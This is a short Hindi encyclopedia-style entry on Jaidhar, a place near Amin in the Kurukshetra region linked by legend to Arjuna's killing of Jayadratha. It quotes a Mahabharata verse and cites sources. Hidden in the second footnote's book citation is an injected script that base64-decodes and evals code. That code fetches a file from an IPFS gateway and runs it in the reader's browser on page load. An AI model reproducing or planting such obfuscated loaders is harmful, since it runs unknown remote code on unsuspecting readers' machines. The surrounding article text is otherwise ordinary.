जयधर पंजाब का एक ऐतिहासिक स्थान है, जो कुरुक्षेत्र प्रदेश में अमीन[1] ग्राम के निकट स्थित है।[2]
- किंवदंति के अनुसार माना जाता है कि यह वही स्थान है, जहाँ पाण्डव अर्जुन ने सिंधुराज जयद्रथ का वध किया था।
- 'जयधर' शब्द जयद्रथ का ही रूपांतरण है।
- महाभारत, द्रोणपर्व[3] में जयद्रथ के वध का उल्लेख इस प्रकार है-
'स तु गांडीव-निर्मुक्त: शर: श्येन इवाशुग:, छित्वा शिर: सिंधुपते-रुत्पपात विहायसम्।'
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टीका टिप्पणी और संदर्भ
- ↑ (=अभिमन्यु)
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 356 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ द्रोणपर्व 146, 122
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